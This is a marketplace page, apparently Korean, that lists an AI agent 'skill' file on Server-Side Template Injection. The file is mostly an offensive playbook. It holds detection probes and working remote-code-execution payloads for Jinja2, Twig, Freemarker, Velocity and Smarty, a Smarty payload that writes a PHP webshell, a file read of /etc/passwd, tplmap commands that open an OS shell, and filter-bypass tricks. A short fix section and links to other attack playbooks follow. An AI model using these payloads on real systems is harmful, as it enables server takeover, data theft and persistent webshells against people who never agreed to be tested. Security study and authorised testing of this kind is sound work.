본문으로 건너뛰기
cccskills
무료GitHub에 공개

ssti

Server-Side Template Injection (SSTI) occurs when user input is embedded directly into a template engine (Jinja2, Twig, Freemarker, Pebble, Velocity, Smarty, Mako) and evaluated, enabling remote code execution. Detect via math expressions `{{7*7}}` returning `49`, or `${7*7}`, `<%= 7*7 %>`. Leads to full RCE via template sandbox escape, Python `__class__.__mro__` traversal, and Java reflection chains. Tools: tplmap, Burp Suite.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

설치 방법 보기

포함된 파일(1)

  • SKILL.md6.8 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Server-Side Template Injection (SSTI)

What Is Broken and Why

SSTI occurs when user-supplied data is concatenated into a template string that is then rendered by a server-side template engine. Unlike XSS, execution happens on the server. Template engines provide access to the application runtime environment, enabling attackers to traverse object hierarchies, access internal classes, and ultimately execute arbitrary OS commands. The root cause is using templates as string formatting mechanisms fed with untrusted input rather than rendering only trusted template files.

Key Signals

  • User input is reflected in responses as if processed (math expressions evaluated, not echoed)
  • Parameters controlling page layout, email templates, error messages, or notification content
  • {{7*7}} returns 49 (Jinja2, Twig); ${7*7} returns 49 (Freemarker, Velocity); <%= 7*7 %> returns 49 (ERB)
  • Error messages referencing template engines (Jinja2, Twig, Freemarker, Velocity, Smarty, Pebble)
  • Python/Java stack traces in response
  • Custom error pages that echo request parameters

Methodology

  1. Inject mathematical expressions using different template syntaxes and observe if they are evaluated:
    • {{7*7}} → 49 (Jinja2/Twig)
    • ${7*7} → 49 (Freemarker/Velocity/Mako)
    • #{7*7} → 49 (Ruby ERB variant)
    • <%= 7*7 %> → 49 (ERB, EJS)
  2. Identify the template engine from syntax that evaluates and from error messages.
  3. Use engine-specific payloads to access internal objects.
  4. Escalate to reading files, then to OS command execution.
  5. Automate detection and exploitation with tplmap.

Payloads & Tools

# Detection probes
TARGET/page?name={{7*7}}           # Jinja2, Twig
TARGET/page?name=${7*7}            # Freemarker, Velocity
TARGET/page?name=<%= 7*7 %>        # ERB
TARGET/page?name=#{7*7}            # Ruby
TARGET/page?name={{7*'7'}}         # Twig (returns 7777777, Jinja2 returns 49)

# Jinja2 (Python) — RCE via __mro__ traversal
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}

# Jinja2 — config object read
{{config}}
{{config.items()}}

# Jinja2 — file read
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}

# Jinja2 — RCE alternative
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

# Twig (PHP) — RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Freemarker (Java) — RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${"freemarker.template.utility.Execute"?new()("id")}

# Velocity (Java)
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))

# Smarty (PHP)
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

# tplmap automated detection and exploitation
tplmap -u "TARGET/page?name=*"
tplmap -u "TARGET/page?name=*" --os-shell
tplmap -u "TARGET/page" --data "name=*" --os-cmd "id"

Bypass Techniques

  • If {{ is filtered, try alternate delimiters: ${, #{, <%= , {%
  • String concatenation to bypass keyword filters: {{'os'|attr('popen')('id')|attr('read')()}}
  • Hex encoding of payload strings
  • Use |attr() filter in Jinja2 to access attributes without dot notation
  • Request parameter names rather than values may also be template-injected
  • JSON body parameters may be reflected into templates — test all body fields
  • Stored SSTI via profile fields, custom email templates, notification settings

Exploitation Scenarios

Scenario 1 — Jinja2 RCE via Name Parameter Setup: Flask application renders Hello, {{ name }}! where name is a URL parameter. Trigger: TARGET/greet?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}} Impact: OS command output returned in response; pivot to reverse shell.

Scenario 2 — Freemarker SSTI in Java CMS Setup: CMS allows administrators to customize notification email templates with user-supplied variables. Trigger: Insert ${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")} into template subject. Impact: File contents returned when template is rendered/previewed; full server file read.

Scenario 3 — Twig SSTI in PHP Application Setup: Error page template incorporates URL parameter for display. Trigger: TARGET/error?msg={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}} Impact: RCE as web server user; escalate to webshell upload.

False Positives

  • Template syntax echoed literally without evaluation (template auto-escaping enabled)
  • Mathematical result coincidence (e.g., 7*7 appearing in content for unrelated reasons)
  • Client-side template engines (Angular {{}}, Vue {{}}) — execution in browser, not server
  • WAF returning 49 in an error message that happens to contain that string

Fix Patterns

  • Never concatenate user input directly into template strings; pass user data as template variables/context
  • Use sandboxed template environments where available (Jinja2 SandboxedEnvironment)
  • Allowlist permitted template syntax if user-customizable templates are required
  • Validate and sanitize template input against a strict pattern
  • Run template rendering in a restricted subprocess with limited OS permissions
  • Use logic-less templating engines (Mustache, Handlebars with allowProtoProperties: false) for user-facing customization

Related Skills

[[cmd-injection]] and SSTI both achieve arbitrary OS command execution via injection into an interpreter — SSTI routes through a template sandbox escape while cmd-injection hits the shell directly. The detection methodology (inject an expression, observe evaluation) mirrors [[xss-reflected]] canary probing but the consequence is server-side rather than client-side. SSTI is often found in the same parameters that also carry [[xss-reflected]] payloads — a parameter that reflects {{7*7}} as 49 has SSTI; one that reflects <script> unencoded has XSS.

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

ShulkwiSEC의 스킬 모두 보기

이 스킬의 문제 신고